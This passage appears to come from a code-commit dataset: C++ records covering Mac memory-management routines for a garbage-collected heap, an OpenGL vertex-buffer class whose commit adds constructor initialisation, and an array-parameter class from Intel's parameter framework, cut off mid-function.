0);\n\t\t(void)retval;\n\t}\n#endif \/* AVMPLUS_JIT_READONLY *\/\n\t\n\tvoid* GCHeap::CommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t size)\n\t{\n\t\tif (size == 0)\n\t\t\tsize = GCHeap::kNativePageSize;  \/\/ default of one page\n\n#ifdef AVMPLUS_JIT_READONLY\n\t\tint res = mprotect (address, size, PROT_READ | PROT_WRITE);\n#else\n\t\tint res = mprotect (address, size, PROT_READ | PROT_WRITE | PROT_EXEC);\n#endif \/* AVMPLUS_JIT_READONLY *\/\n\n\t\tif (res != 0)\n\t\t\taddress = 0;\n\t\telse\n\t\t\taddress = (void*)( (uintptr)address + size );\n\t\n\t\tcommittedCodeMemory += size;\n\t\treturn address;\t\t\n\t}\n\n\tvoid* GCHeap::DecommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t\t size_t size)\n\t{\n\t\tif (size == 0)\n\t\t\tsize = GCHeap::kNativePageSize;  \/\/ default of one page\n\n\t\t\/\/ this doesn't \"decommit\" it, it just makes it unwritable, Mac OS still backs it with real pages :-(\n\t\tint res = mprotect (address, size, PROT_NONE);\n\t\tGCAssert(res == 0);\n\t\t(void) res;\n\t\tcommittedCodeMemory -= size;\n\t\treturn (address);\n\t}\n#else\n\tint GCHeap::vmPageSize()\n\t{\n\t\treturn 4096;\n\t}\n\n\tvoid* GCHeap::ReserveCodeMemory(void* ,\n\t\t\t\t\t\t\t\t\tsize_t size)\n\t{\n\t\treturn aligned_malloc(size, 4096, m_malloc);\n\t}\n\n\tvoid GCHeap::ReleaseCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t )\n\t{\n\t\taligned_free(address, m_free);\n\t}\n\n\tbool GCHeap::SetGuardPage(void *)\n\t{\n\t\treturn false;\n\t}\n\n#ifdef AVMPLUS_JIT_READONLY\n\tvoid GCHeap::SetExecuteBit(void *,\n\t\t\t\t\t\t\t   size_t ,\n\t\t\t\t\t\t\t   bool )\n\t{\n\t\t\/\/ No-op on Mac CFM\n\t}\n#endif \/* AVMPLUS_JIT_READONLY *\/\n\t\n\t\n\tvoid* GCHeap::CommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t   size_t size)\n\t{\n\t\tcommittedCodeMemory += size;\n\t\treturn address;\n\t}\t\n\tvoid* GCHeap::DecommitCodeMemory(void* address,\n\t\t\t\t\t\t\t\t\t size_t size)\n\t{\n\t\tcommittedCodeMemory -= size;\n\t\treturn address;\n\t}\t\n#endif \/* USE_MMAP *\/\t\n#endif \/* MMGC_AVMPLUS *\/\n\n#ifdef USE_MMAP\n\tchar* GCHeap::ReserveMemory(char *address, size_t size)\n\t{\n\t\tchar *addr = (char*)mmap(address,\n\t\t\t\t\t size,\n\t\t\t\t\t PROT_NONE,\n\t\t\t\t\t MAP_PRIVATE | MAP_ANONYMOUS,\n\t\t\t\t\t get_mmap_fdes(0), 0);\n\t\t\t\t\t \n\t\t\/\/ the man page for mmap documents it returns -1 to signal failure. \n\t\tif (addr == (char *)-1) return NULL;\n\t\t\n\t\tif(address && address != addr) {\n\t\t\t\/\/ behave like windows and fail if we didn't get the right address\n\t\t\tReleaseMemory(addr, size);\n\t\t\treturn NULL;\n\t\t}\n\t\treturn addr;\n\t}\n\n\tbool GCHeap::CommitMemory(char *address, size_t size)\n\t{\n\t\tint res = mprotect (address, size, PROT_READ | PROT_WRITE);\n\t\tGCAssert(res == 0);\n\t\treturn (res == 0);\n\t}\n\n\tbool GCHeap::DecommitMemory(char *address, size_t size)\n\t{\n\t\t\/\/ FIXME: this doesn't actually untie the pages from real memory\n\t\tint res = mprotect (address, size, PROT_NONE);\n\t\tGCAssert(res == 0);\n\t\treturn (res == 0);\n\t}\n\n\tbool GCHeap::CommitMemoryThatMaySpanRegions(char *address, size_t size)\n\t{\n\t\treturn CommitMemory(address, size);\n\t}\n\n\tbool GCHeap::DecommitMemoryThatMaySpanRegions(char *address, size_t size)\n\t{\n\t\treturn DecommitMemory(address, size);\n\t}\n\n\tvoid GCHeap::ReleaseMemory(char *address, size_t size)\n\t{\n\t\tint result = munmap(address, size);\n\t\tGCAssert(result == 0);\n\t\t(void)result;\n\t}\n#else\n\n\tchar* GCHeap::AllocateMemory(size_t size)\n\t{\n\t\treturn (char *) aligned_malloc(size, 4096, m_malloc);\n\t\t\/\/return (char *) MPAllocateAligned(size, kMPAllocate4096ByteAligned, 0);\n\t}\n\n\tvoid GCHeap::ReleaseMemory(char *address)\n\t{\n\t\taligned_free(address, m_free);\n\t\t\/\/MPFree(address);\n\t}\n#endif\n\n#ifdef MEMORY_INFO  \n\n#ifdef MMGC_PPC\n\t\/\/ no idea how to do this with codewarrior\n\tvoid GetInfoFromPC(sintptr pc, char *buff, int \/*buffSize*\/) \n\t{\n\t\tsprintf(buff, \"0x%x\", (uint32)pc);\t\n\t}\n\n\tvoid GetStackTrace(sintptr *trace, int len, int skip) \n\t{\n\t  register int stackp;\n\t  sintptr pc;\n\t  asm(\"mr %0,r1\" : \"=r\" (stackp));\n\t  while(skip--) {\n\t    stackp = *(int*)stackp;\n\t  }\n\t  int i=0;\n\t  \/\/ save space for 0 terminator\n\t  len--;\n\t  while(i<len && stackp) {\n\t    pc = *((sintptr*)stackp+2);\n\t    trace[i++]=pc;\n\t    stackp = *(int*)stackp;\n\t  }\n\t  trace[i] = 0;\n\t}\n#endif\n\n#if (defined(MMGC_IA32) || defined(MMGC_AMD64))\n\n\tvoid GetInfoFromPC(sintptr pc, char *buff, int buffSize) \n\t{\n\t\tDl_info dlip;\n\t\tdladdr((void * const)pc, &dlip);\n\t\tsnprintf(buff, buffSize, \"0x%08x:%s\", (uint32)pc, dlip.dli_sname);\n\t}\n\t\n\tvoid GetStackTrace(sintptr* trace, int len, int skip) \n\t{\n\t\tvoid **ebp;\n\t\t#ifdef MMGC_IA32\n\t\tasm(\"mov %%ebp, %0\" : \"=r\" (ebp));\n\t\t#else\n\t\tasm(\"mov %%rbp, %0\" : \"=r\" (ebp));\n\t\t#endif\n\t\twhile(skip-- && *ebp)\n\t\t{\n\t\t\tebp = (void**)(*ebp);\n\t\t}\n\n\t\tlen--;\n\t\tint i=0;\n\t\twhile(i<len && *ebp)\n\t\t{\n\t\t\ttrace[i++] = *((sintptr*)ebp+1);\n\t\t\tebp = (void**)(*ebp);\t\t\t\n\t\t}\n\t\ttrace[i] = 0;\n\t}\n#endif\n\n#endif\n\n\tsize_t GCHeap::GetPrivateBytes()\n\t{\n\t\tsize_t private_bytes = 0;\n\t\tkern_return_t ret;\n\t\ttask_t task = mach_task_self();\n\t\t\n\t\tvm_size_t pagesize = 0;\n\t\tret = host_page_size(mach_host_self(), &pagesize);\n\t\t\n\t\tvm_address_t addr = VM_MIN_ADDRESS;\n\t\tvm_size_t size = 0;\n\t\twhile (true)\n\t\t{\n\t\t\tmach_msg_type_number_t count = VM_REGION_TOP_INFO_COUNT;\n\t\t\tvm_region_top_info_data_t info;\n\t\t\tmach_port_t object_name;\n\n\t\t\taddr += size;\n\n#ifdef MMGC_64BIT\n\t\t\tret = vm_region_64(task, &addr, &size, VM_REGION_TOP_INFO, (vm_region_info_t)&info, &count, &object_name);\n#else\n\t\t\tret = vm_region(task, &addr, &size, VM_REGION_TOP_INFO, (vm_region_info_t)&info, &count, &object_name);\n#endif\n\n\t\t\tif (ret != KERN_SUCCESS)\n\t\t\t\tbreak;\n\t\t\tprivate_bytes += info.private_pages_resident;\n\t\t}\n\t\treturn private_bytes;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Delete Circle.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <HgVbo.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <stdio.h>\n\n#include <string.h>\n\nHgVboMemory<vbo_layout_vc> staticVbo;\nHgVboMemory<vbo_layout_vnu> staticVboVNU;\n\nstatic void* _currentVbo;\n\nstatic uint16_t struct_size(VBO_TYPE type) {\n\tif (type == VBO_VC) return sizeof(vbo_layout_vc);\n\tif (type == VBO_VNU) return sizeof(vbo_layout_vnu);\n\tif (type == VBO_INDEX8) return sizeof(uint8_t);\n\tif (type == VBO_INDEX16) return sizeof(uint16_t);\n\tif (type == VBO_COLOR8) return sizeof(color);\n\n\tfprintf(stderr, \"Unknown vbo type:%d\\n\", type);\n\tassert(!\"Unknown vbo type\");\n\treturn 0;\n}\n\nstatic VBO_TYPE getVboType(const vbo_layout_vc& x) { return VBO_VC; }\nstatic VBO_TYPE getVboType(const vbo_layout_vnu& x) { return VBO_VNU; }\nstatic VBO_TYPE getVboType(const uint8_t& x) { return VBO_INDEX8; }\nstatic VBO_TYPE getVboType(const uint16_t& x) { return VBO_INDEX16; }\nstatic VBO_TYPE getVboType(const color& x) { return VBO_VC; }\n\ntemplate<typename T>\nHgVboMemory<T>::HgVboMemory()\n\t:buffer(nullptr)\n{\n\n}\n\ntemplate<typename T>\nHgVboMemory<T>::~HgVboMemory() {\n\tif (buffer != nullptr) free(buffer);\n\tbuffer = nullptr;\n\n\tdestroy();\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::init() {\n\ttype = getVboType(*buffer);\n\tstride = sizeof(T);\n}\n\ntemplate<typename T>\nT* HgVboMemory<T>::resize(uint32_t count) {\n\tT* buf = (T*)realloc(buffer, count * sizeof(*buf));\n\tassert(buf != NULL);\n\tbuffer = buf;\n\n\treturn buf;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::clear() {\n\tif (buffer != nullptr) free(buffer);\n\tbuffer = NULL;\n\tcount = 0;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::destroy() {\n\tif (vbo_id>0) glDeleteBuffers(1, &vbo_id);\n\tif (vao_id>0) glDeleteBuffers(1, &vao_id);\n\tvao_id = vbo_id = 0;\n\tclear();\n}\n\ntemplate<typename T>\nuint32_t HgVboMemory<T>::add_data(void* data, uint16_t vertex_count) {\n\tT* buf = buffer = resize(count + vertex_count);\n\tbuf = buf + count;\n\n\tmemcpy(buf, data, sizeof(*buf)*vertex_count);\n\n\tuint32_t offset = count;\n\tcount += vertex_count;\n\tneedsUpdate = true;\n\n\treturn offset;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::hgvbo_sendogl() {\n\tif (vbo_id == 0) glGenBuffers(1, &vbo_id);\n\tif (vao_id == 0) glGenVertexArrays(1, &vao_id);\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id);\n\tglBufferData(GL_ARRAY_BUFFER, count * stride, buffer, GL_STATIC_DRAW);\n\n\tglBindVertexArray(vao_id);\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id);\n\t\/\/minimize calls to glVertexAttribPointer, use same format for all meshes in a VBO\n\n\tglVertexAttribPointer(L_VERTEX, 3, GL_FLOAT, GL_FALSE, stride, NULL);\n\tglEnableVertexAttribArray(L_VERTEX); \/\/enable access to attribute\n\n\tif (type == VBO_VC) {\n\t\tglVertexAttribPointer(L_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, stride, (void*)sizeof(vertex));\n\t\tglEnableVertexAttribArray(L_COLOR);\n\t}\n\telse if (type == VBO_VN) {\n\t\tglVertexAttribPointer(L_NORMAL, 4, GL_FLOAT, GL_FALSE, stride, (void*)sizeof(vertex));\n\t\tglEnableVertexAttribArray(L_NORMAL);\n\t}\n\telse if (type == VBO_VNU) {\n\t\tglVertexAttribPointer(L_NORMAL, 4, GL_FLOAT, GL_FALSE, stride, (void*)sizeof(vertex));\n\t\tglEnableVertexAttribArray(L_NORMAL);\n\t\tglVertexAttribPointer(L_UV, 2, GL_UNSIGNED_SHORT, GL_FALSE, stride, (void*)(sizeof(vertex)+sizeof(normal)));\n\t\tglEnableVertexAttribArray(L_UV);\n\t}\n\telse {\n\t\tfprintf(stderr, \"Unknown vbo type:%d\\n\", type);\n\t\tassert(!\"Unknown vbo type\");\n\t}\n\n\tneedsUpdate = false;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::use() {\n\tif ((_currentVbo == this) && (needsUpdate == false)) return;\n\n\t_currentVbo = this;\n\n\tif (needsUpdate) {\n\t\thgvbo_sendogl();\n\t}\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id); \/\/is this needed or does the vao_id do this for us?\n\tglBindVertexArray(vao_id);\n}\n\n\/\/8 bit index\ntemplate<>\nvoid HgVboMemory<uint8_t>::use() {\n\tif (vbo_id == 0) {\n\t\tGLuint buf_id;\n\t\tglGenBuffers(1, &buf_id);\n\t\tvbo_id = buf_id;\n\t}\n\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, vbo_id);\n\n\tif (needsUpdate) {\n\t\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, count * stride, buffer, GL_STATIC_DRAW);\n\t\tneedsUpdate = false;\n\t}\n}\n\ntemplate<>\nvoid HgVboMemory<color>::use() {\n\tif (vbo_id == 0) {\n\t\tGLuint buf_id;\n\t\tglGenBuffers(1, &buf_id);\n\t\tvbo_id = buf_id;\n\/*\n\t\tglGenVertexArrays(1, &vbo->vao_id);\n\t\tglBindVertexArray(vbo->vao_id);\n\t\tglVertexAttribPointer(L_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, 0, (void*)0);\n\t\tglEnableVertexAttribArray(L_COLOR);\n\t\t*\/\n\t}\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id);\n\n\tif (needsUpdate) {\n\t\tcolor* c = buffer;\n\t\tglBufferData(GL_ARRAY_BUFFER, count * stride, buffer, GL_STATIC_DRAW);\n\t\tneedsUpdate = false;\n\t}\n\n\tglVertexAttribPointer(L_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, 0, NULL);\n\tglEnableVertexAttribArray(L_COLOR);\n}<commit_msg>fix constructor<commit_after>#include <HgVbo.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <stdio.h>\n\n#include <string.h>\n\nHgVboMemory<vbo_layout_vc> staticVbo;\nHgVboMemory<vbo_layout_vnu> staticVboVNU;\n\nstatic void* _currentVbo;\n\nstatic uint16_t struct_size(VBO_TYPE type) {\n\tif (type == VBO_VC) return sizeof(vbo_layout_vc);\n\tif (type == VBO_VNU) return sizeof(vbo_layout_vnu);\n\tif (type == VBO_INDEX8) return sizeof(uint8_t);\n\tif (type == VBO_INDEX16) return sizeof(uint16_t);\n\tif (type == VBO_COLOR8) return sizeof(color);\n\n\tfprintf(stderr, \"Unknown vbo type:%d\\n\", type);\n\tassert(!\"Unknown vbo type\");\n\treturn 0;\n}\n\nstatic VBO_TYPE getVboType(const vbo_layout_vc& x) { return VBO_VC; }\nstatic VBO_TYPE getVboType(const vbo_layout_vnu& x) { return VBO_VNU; }\nstatic VBO_TYPE getVboType(const uint8_t& x) { return VBO_INDEX8; }\nstatic VBO_TYPE getVboType(const uint16_t& x) { return VBO_INDEX16; }\nstatic VBO_TYPE getVboType(const color& x) { return VBO_VC; }\n\ntemplate<typename T>\nHgVboMemory<T>::HgVboMemory()\n\t:buffer(nullptr), count(0), vbo_id(0), vao_id(0), needsUpdate(0), stride(0), type(0)\n{\n}\n\ntemplate<typename T>\nHgVboMemory<T>::~HgVboMemory() {\n\tif (buffer != nullptr) free(buffer);\n\tbuffer = nullptr;\n\n\tdestroy();\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::init() {\n\ttype = getVboType(*buffer);\n\tstride = sizeof(T);\n}\n\ntemplate<typename T>\nT* HgVboMemory<T>::resize(uint32_t count) {\n\tT* buf = (T*)realloc(buffer, count * sizeof(*buf));\n\tassert(buf != NULL);\n\tbuffer = buf;\n\n\treturn buf;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::clear() {\n\tif (buffer != nullptr) free(buffer);\n\tbuffer = NULL;\n\tcount = 0;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::destroy() {\n\tif (vbo_id>0) glDeleteBuffers(1, &vbo_id);\n\tif (vao_id>0) glDeleteBuffers(1, &vao_id);\n\tvao_id = vbo_id = 0;\n\tclear();\n}\n\ntemplate<typename T>\nuint32_t HgVboMemory<T>::add_data(void* data, uint16_t vertex_count) {\n\tT* buf = buffer = resize(count + vertex_count);\n\tbuf = buf + count;\n\n\tmemcpy(buf, data, sizeof(*buf)*vertex_count);\n\n\tuint32_t offset = count;\n\tcount += vertex_count;\n\tneedsUpdate = true;\n\n\treturn offset;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::hgvbo_sendogl() {\n\tif (vbo_id == 0) glGenBuffers(1, &vbo_id);\n\tif (vao_id == 0) glGenVertexArrays(1, &vao_id);\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id);\n\tglBufferData(GL_ARRAY_BUFFER, count * stride, buffer, GL_STATIC_DRAW);\n\n\tglBindVertexArray(vao_id);\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id);\n\t\/\/minimize calls to glVertexAttribPointer, use same format for all meshes in a VBO\n\n\tglVertexAttribPointer(L_VERTEX, 3, GL_FLOAT, GL_FALSE, stride, NULL);\n\tglEnableVertexAttribArray(L_VERTEX); \/\/enable access to attribute\n\n\tif (type == VBO_VC) {\n\t\tglVertexAttribPointer(L_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, stride, (void*)sizeof(vertex));\n\t\tglEnableVertexAttribArray(L_COLOR);\n\t}\n\telse if (type == VBO_VN) {\n\t\tglVertexAttribPointer(L_NORMAL, 4, GL_FLOAT, GL_FALSE, stride, (void*)sizeof(vertex));\n\t\tglEnableVertexAttribArray(L_NORMAL);\n\t}\n\telse if (type == VBO_VNU) {\n\t\tglVertexAttribPointer(L_NORMAL, 4, GL_FLOAT, GL_FALSE, stride, (void*)sizeof(vertex));\n\t\tglEnableVertexAttribArray(L_NORMAL);\n\t\tglVertexAttribPointer(L_UV, 2, GL_UNSIGNED_SHORT, GL_FALSE, stride, (void*)(sizeof(vertex)+sizeof(normal)));\n\t\tglEnableVertexAttribArray(L_UV);\n\t}\n\telse {\n\t\tfprintf(stderr, \"Unknown vbo type:%d\\n\", type);\n\t\tassert(!\"Unknown vbo type\");\n\t}\n\n\tneedsUpdate = false;\n}\n\ntemplate<typename T>\nvoid HgVboMemory<T>::use() {\n\tif ((_currentVbo == this) && (needsUpdate == false)) return;\n\n\t_currentVbo = this;\n\n\tif (needsUpdate) {\n\t\thgvbo_sendogl();\n\t}\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id); \/\/is this needed or does the vao_id do this for us?\n\tglBindVertexArray(vao_id);\n}\n\n\/\/8 bit index\ntemplate<>\nvoid HgVboMemory<uint8_t>::use() {\n\tif (vbo_id == 0) {\n\t\tGLuint buf_id;\n\t\tglGenBuffers(1, &buf_id);\n\t\tvbo_id = buf_id;\n\t}\n\n\tglBindBuffer(GL_ELEMENT_ARRAY_BUFFER, vbo_id);\n\n\tif (needsUpdate) {\n\t\tglBufferData(GL_ELEMENT_ARRAY_BUFFER, count * stride, buffer, GL_STATIC_DRAW);\n\t\tneedsUpdate = false;\n\t}\n}\n\ntemplate<>\nvoid HgVboMemory<color>::use() {\n\tif (vbo_id == 0) {\n\t\tGLuint buf_id;\n\t\tglGenBuffers(1, &buf_id);\n\t\tvbo_id = buf_id;\n\/*\n\t\tglGenVertexArrays(1, &vbo->vao_id);\n\t\tglBindVertexArray(vbo->vao_id);\n\t\tglVertexAttribPointer(L_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, 0, (void*)0);\n\t\tglEnableVertexAttribArray(L_COLOR);\n\t\t*\/\n\t}\n\n\tglBindBuffer(GL_ARRAY_BUFFER, vbo_id);\n\n\tif (needsUpdate) {\n\t\tcolor* c = buffer;\n\t\tglBufferData(GL_ARRAY_BUFFER, count * stride, buffer, GL_STATIC_DRAW);\n\t\tneedsUpdate = false;\n\t}\n\n\tglVertexAttribPointer(L_COLOR, 4, GL_UNSIGNED_BYTE, GL_TRUE, 0, NULL);\n\tglEnableVertexAttribArray(L_COLOR);\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2011-2015, Intel Corporation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors\n * may be used to endorse or promote products derived from this software without\n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n#include \"ArrayParameter.h\"\n#include <sstream> \/\/ for istringstream\n#include \"Tokenizer.h\"\n#include \"ParameterType.h\"\n#include \"ParameterAccessContext.h\"\n#include \"ConfigurationAccessContext.h\"\n#include \"ParameterBlackboard.h\"\n#include \"Utility.h\"\n#include <assert.h>\n\n#define base CParameter\n\nusing std::string;\n\nCArrayParameter::CArrayParameter(const string &strName, const CTypeElement *pTypeElement)\n    : base(strName, pTypeElement)\n{\n}\n\nsize_t CArrayParameter::getFootPrint() const\n{\n    return getSize() * getArrayLength();\n}\n\n\/\/ Array length\nsize_t CArrayParameter::getArrayLength() const\n{\n    return getTypeElement()->getArrayLength();\n}\n\n\/\/ Element properties\nvoid CArrayParameter::showProperties(string &strResult) const\n{\n    base::showProperties(strResult);\n\n    \/\/ Array length\n    strResult += \"Array length: \";\n    strResult += std::to_string(getArrayLength());\n    strResult += \"\\n\";\n}\n\n\/\/ User set\/get\nbool CArrayParameter::accessValue(CPathNavigator &pathNavigator, string &strValue, bool bSet,\n                                  CParameterAccessContext &parameterAccessContext) const\n{\n    size_t index;\n\n    if (!getIndex(pathNavigator, index, parameterAccessContext)) {\n\n        return false;\n    }\n\n    if (bSet) {\n        \/\/ Set\n        if (index == (size_t)-1) {\n\n            \/\/ No index provided, start with 0\n            index = 0;\n        }\n\n        \/\/ Actually set values\n        if (!setValues(index, getOffset() - parameterAccessContext.getBaseOffset(), strValue,\n                       parameterAccessContext)) {\n            return false;\n        }\n\n        \/\/ Synchronize\n        if (!sync(parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n    } else {\n        \/\/ Get\n        if (index == (size_t)-1) {\n\n            \/\/ Whole array requested\n            strValue = getValues(getOffset() - parameterAccessContext.getBaseOffset(),\n                                 parameterAccessContext);\n\n        } else {\n            \/\/ Scalar requested\n            CParameter::doGetValue(strValue, getOffset() + index * getSize(),\n                                   parameterAccessContext);\n        }\n    }\n\n    return true;\n}\n\n\/\/\/ Actual parameter access\n\/\/ String access\nbool CArrayParameter::doSetValue(const string &value, size_t offset,\n                                 CParameterAccessContext &parameterAccessContext) const\n{\n    return setValues(0, offset, value, parameterAccessContext);\n}\n\nvoid CArrayParameter::doGetValue(string &value, size_t offset,\n                                 CParameterAccessContext &parameterAccessContext) const\n{\n    \/\/ Whole array requested\n    value = getValues(offset, parameterAccessContext);\n}\n\n\/\/ Boolean\nbool CArrayParameter::access(std::vector<bool> &abValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(abValues, bSet, parameterAccessContext);\n}\n\n\/\/ Integer\nbool CArrayParameter::access(std::vector<uint32_t> &auiValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(auiValues, bSet, parameterAccessContext);\n}\n\n\/\/ Signed Integer Access\nbool CArrayParameter::access(std::vector<int32_t> &aiValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(aiValues, bSet, parameterAccessContext);\n}\n\n\/\/ Double Access\nbool CArrayParameter::access(std::vector<double> &adValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(adValues, bSet, parameterAccessContext);\n}\n\n\/\/ String Access\nbool CArrayParameter::access(std::vector<string> &astrValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(astrValues, bSet, parameterAccessContext);\n}\n\n\/\/ Dump\nstring CArrayParameter::logValue(CParameterAccessContext &context) const\n{\n    \/\/ Dump values\n    return getValues(0, context);\n}\n\n\/\/ Used for simulation and virtual subsystems\nvoid CArrayParameter::setDefaultValues(CParameterAccessContext &parameterAccessContext) const\n{\n    \/\/ Get default value from type\n    uint32_t uiDefaultValue =\n        static_cast<const CParameterType *>(getTypeElement())->getDefaultValue();\n\n    \/\/ Write blackboard\n    CParameterBlackboard *pBlackboard = parameterAccessContext.getParameterBlackboard();\n\n    \/\/ Process\n    size_t valueIndex;\n    size_t size = getSize();\n    size_t offset = getOffset();\n    size_t arrayLength = getArrayLength();\n\n    for (valueIndex = 0; valueIndex < arrayLength; valueIndex++) {\n\n        \/\/ Beware this code works on little endian architectures only!\n        pBlackboard->writeInteger(&uiDefaultValue, size, offset);\n\n        offset += size;\n    }\n}\n\n\/\/ Index from path\nbool CArrayParameter::getIndex(CPathNavigator &pathNavigator, size_t &index,\n                               CParameterAccessContext &parameterAccessContext) const\n{\n    index = (size_t)-1;\n\n    string *pStrChildName = pathNavigator.next();\n\n    if (pStrChildName) {\n\n        \/\/ Check index is numeric\n        std::istringstream iss(*pStrChildName);\n\n        iss >> index;\n\n        if (!iss) {\n\n            parameterAccessContext.setError(\"Expected numerical expression as last item in \" +\n                                            pathNavigator.getCurrentPath());\n\n            return false;\n        }\n\n        if (index >= getArrayLength()) {\n            std::ostringstream oss;\n\n            oss << \"Provided index out of range (max is \" << getArrayLength() - 1 << \")\";\n\n            parameterAccessContext.setError(oss.str());\n\n            return false;\n        }\n\n        \/\/ Check no other item provided in path\n        pStrChildName = pathNavigator.next();\n\n        if (pStrChildName) {\n\n            \/\/ Should be leaf element\n            parameterAccessContext.setError(\"Path not found: \" + pathNavigator.getCurrentPath());\n\n            return false;\n        }\n    }\n\n    return true;\n}\n\n\/\/ Common set value processing\nbool CArrayParameter::setValues(size_t uiStartIndex, size_t offset, const string &strValue,\n                                CParameterAccessContext &parameterAccessContext) const\n{\n    \/\/ Deal with value(s)\n    Tokenizer tok(strValue, Tokenizer::defaultDelimiters + \",\");\n\n    std::vector<string> astrValues = tok.split();\n    size_t nbValues = astrValues.size();\n\n    \/\/ Check number of provided values\n    if (nbValues + uiStartIndex > getArrayLength()) {\n\n        \/\/ Out of bounds\n        parameterAccessContext.setError(\"Too many values provided\");\n\n        return false;\n    }\n\n    \/\/ Process\n    size_t valueIndex;\n    size_t size = getSize();\n    offset += uiStartIndex * size;\n\n    for (valueIndex = 0; valueIndex < nbValues; valueIndex++) {\n\n        if (!doSet(astrValues[valueIndex], offset, parameterAccessContext)) {\n\n            \/\/ Append parameter path to error\n            parameterAccessContext.appendToError(\" \" + getPath() + \"\/\" +\n                                                 std::to_string(valueIndex + uiStartIndex));\n\n            return false;\n        }\n\n        offset += size;\n    }\n    return true;\n}\n\n\/\/ Common get value processing\nstring CArrayParameter::getValues(size_t offset,\n                                  CParameterAccessContext &parameterAccessContext) const\n{\n    size_t size = getSize();\n    size_t arrayLength = getArrayLength();\n\n    string output;\n\n    bool bFirst = true;\n\n    for (size_t valueIndex = 0; valueIndex < arrayLength; valueIndex++) {\n        string strReadValue;\n\n        doGet(strReadValue, offset, parameterAccessContext);\n\n        if (!bFirst) {\n\n            output += \" \";\n        } else {\n\n            bFirst = false;\n        }\n\n        output += strReadValue;\n\n        offset += size;\n    }\n\n    return output;\n}\n\n\/\/ Generic Access\ntemplate <typename type>\nbool CArrayParameter::accessValues(std::vector<type> &values, bool bSet,\n                                   CParameterAccessContext &parameterAccessContext) const\n{\n    if (bSet) {\n\n        \/\/ Set Value\n        if (!setValues(values, parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n        if (!sync(parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n    } else {\n        \/\/ Get Value\n        if (!getValues(values, parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n    }\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::setValues(const std::vector<type> &values,\n                                CParameterAccessContext &parameterAccessContext) const\n{\n    size_t nbValues = getArrayLength();\n    size_t size = getSize();\n    size_t offset = getOffset();\n\n    assert(values.size() == nbValues);\n\n    \/\/ Process\n    for (size_t valueIndex = 0; valueIndex < nbValues; valueIndex++) {\n\n        if (!doSet(values[valueIndex], offset, parameterAccessContext)) {\n\n            return false;\n        }\n\n        offset += size;\n    }\n\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::getValues(std::vector<type> &values,\n                                CParameterAccessContext &parameterAccessContext) 